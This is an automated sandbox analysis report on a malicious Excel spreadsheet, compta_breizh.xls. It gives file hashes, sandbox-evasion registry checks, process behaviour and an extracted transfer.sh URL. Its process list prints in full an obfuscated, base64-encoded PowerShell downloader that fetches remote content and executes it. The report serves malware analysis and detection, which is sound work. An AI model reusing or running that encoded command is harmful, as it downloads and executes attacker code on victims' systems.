Analysis
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max time kernel
183s -
max time network
178s -
platform
windows10-2004_x64 -
resource
win10v2004-20230220-en -
resource tags
arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system -
submitted
18-03-2023 00:51
Behavioral task
behavioral1
Sample
compta_breizh.xls
Resource
win7-20230220-en
Behavioral task
behavioral2
Sample
compta_breizh.xls
Resource
win10v2004-20230220-en
General
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Target
compta_breizh.xls
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Size
580KB
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MD5
1149360d266ca100ff6a7ce2a8414d53
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SHA1
ff87dbe2730be9fb594a337e857b5f5c235e2005
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SHA256
27a6ab7e03075bcc4873b52d67d83d2e61067282c8d4376d8a1778eda385b68a
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SHA512
e885178f839dfbc5e7fc4012bce4a5d646d4c287841a76bf19fbdb51cc688cb3c51a724ffdfab0269f628d5364a6a1680284b9bb3f63e049f44132168f2e76e9
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SSDEEP
6144:Ik3hbdlylKsgqopeJBWhZFVEUr3M/sItOd/AIIuY3/RsxRIA2e6FngrNv8zKCq/i:jY3ecALrquDK
Malware Config
Extracted
https://transfer.sh/get
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powershell.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 1928 3760 powershell.exe EXCEL.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 27 1928 powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Modifies registry class 1 IoCs
Processes:
OpenWith.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings OpenWith.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 3760 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 1928 powershell.exe 1928 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1928 powershell.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
Processes:
EXCEL.EXEpid process 3760 EXCEL.EXE 3760 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 24 IoCs
Processes:
EXCEL.EXEOpenWith.exepid process 3760 EXCEL.EXE 3760 EXCEL.EXE 3760 EXCEL.EXE 3760 EXCEL.EXE 3760 EXCEL.EXE 3760 EXCEL.EXE 3760 EXCEL.EXE 3760 EXCEL.EXE 3760 EXCEL.EXE 3760 EXCEL.EXE 3760 EXCEL.EXE 3760 EXCEL.EXE 3760 EXCEL.EXE 3760 EXCEL.EXE 3760 EXCEL.EXE 1332 OpenWith.exe 3760 EXCEL.EXE 1332 OpenWith.exe 1332 OpenWith.exe 1332 OpenWith.exe 1332 OpenWith.exe 3760 EXCEL.EXE 3760 EXCEL.EXE 3760 EXCEL.EXE -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
EXCEL.EXEdescription pid process target process PID 3760 wrote to memory of 1928 3760 EXCEL.EXE powershell.exe PID 3760 wrote to memory of 1928 3760 EXCEL.EXE powershell.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\compta_breizh.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noP -sta -w 1 -enc JABLAD0AWwBTAHkAcwB0AGUAbQAuAFQARQBYAFQALgBFAE4AQwBPAEQASQBOAGcAXQA6ADoAQQBTAEMASQBJAC4ARwBFAFQAQgB5AHQAZQBTACgAJwA3AEgAQwAyAHMAbgA4AEMAYQB4AEcANAB1AGUAVABIAGEANQBnAFMAJwApADsAJABSAD0AewAkAEQALAAkAEsAPQAkAEEAcgBnAFMAOwAkAFMAPQAwAC4ALgAyADUANQA7ADAALgAuADIANQA1AHwAJQB7ACQASgA9ACgAJABKACsAJABTAFsAJABfAF0AKwAkAEsAWwAkAF8AJQAkAEsALgBDAE8AVQBuAFQAXQApACUAMgA1ADYAOwAkAFMAWwAkAF8AXQAsACQAUwBbACQASgBdAD0AJABTAFsAJABKAF0ALAAkAFMAWwAkAF8AXQB9ADsAJABEAHwAJQB7ACQASQA9ACgAJABJACsAMQApACUAMgA1ADYAOwAkAEgAPQAoACQASAArACQAUwBbACQASQBdACkAJQAyADUANgA7ACQAUwBbACQASQBdACwAJABTAFsAJABIAF0APQAkAFMAWwAkAEgAXQAsACQAUwBbACQASQBdADsAJAB2AGkAPQBbAFMAeQBzAHQAZQBtAC4AVABFAFgAVAAuAEUATgBDAE8ARABJAE4AZwBdADoAOgBBAFMAQwBJAEkALgBHAEUAVABCAHkAdABlAFMAKAAnAGoANwBTADEAJwApADsAJABfAC0AQgBYAE8AUgAkAFMAWwAoACQAUwBbACQASQBdACsAJABTAFsAJABIAF0AKQAlADIANQA2AF0AfQB9ADsAJABmAHEAPQBbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwA3ADgATQBtAEgAcwBqAEoAeQBTAEUASAAwADUAbgB5AFUAcwBrADkAcABmAGcATwBxAFcAcwBMAFMAQgBMAE8AJwApADsAJABmAD0ALQBqAG8AaQBuAFsAYwBoAGEAcgBbAF0AXQAoACYAIAAkAHIAIAAkAGYAcQAgACgAJAB2AGkAKwAkAGsAKQApADsAJABXAGMAPQBOAEUAVwAtAE8AQgBqAEUAQwB0ACAAUwBZAHMAdABFAE0ALgBOAGUAVAAuAFcARQBCAEMAbABJAEUATgB0ADsAJAB0AD0AJwBoAHQAdABwAHMAOgAvAC8AdAByAGEAbgBzAGYAZQByAC4AcwBoAC8AZwBlAHQAJwA7ACQAcwBlAHIAPQAnAGcAdAB3AEMAYQB0ADMAbQA0ADMANQBiAHcAYwAzAHAAZABRAD0APQAnADsAJABkAGEAdABhAD0AWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAcwBlAHIAKQA7ACQASABKAD0ALQBqAG8AaQBuAFsAYwBoAGEAcgBbAF0AXQAoACYAIAAkAHIAIAAkAGQAYQB0AGEAIAAoACQAdgBpACsAJABrACkAKQA7ACQAZABhAHQAYQA9ACQAVwBDAC4ARABvAHcAbgBsAG8AQQBEAEQAQQBUAEEAKAAkAHQAKwAkAEgASgApADsALQBKAG8AaQBOAFsAQwBIAGEAcgBbAF0AXQAoACQARABhAHQAQQApAHwASQBFAFgA2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1kq4mnel.50w.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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memory/1928-196-0x000002147A490000-0x000002147A4B2000-memory.dmpFilesize
136KB
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memory/1928-206-0x000002147A560000-0x000002147A570000-memory.dmpFilesize
64KB
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memory/1928-207-0x000002147A560000-0x000002147A570000-memory.dmpFilesize
64KB
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memory/3760-133-0x00007FFD11DF0000-0x00007FFD11E00000-memory.dmpFilesize
64KB
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memory/3760-135-0x00007FFD11DF0000-0x00007FFD11E00000-memory.dmpFilesize
64KB
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memory/3760-134-0x00007FFD11DF0000-0x00007FFD11E00000-memory.dmpFilesize
64KB
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memory/3760-136-0x00007FFD11DF0000-0x00007FFD11E00000-memory.dmpFilesize
64KB
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memory/3760-137-0x00007FFD11DF0000-0x00007FFD11E00000-memory.dmpFilesize
64KB
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memory/3760-138-0x00007FFD0F6D0000-0x00007FFD0F6E0000-memory.dmpFilesize
64KB
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memory/3760-139-0x00007FFD0F6D0000-0x00007FFD0F6E0000-memory.dmpFilesize
64KB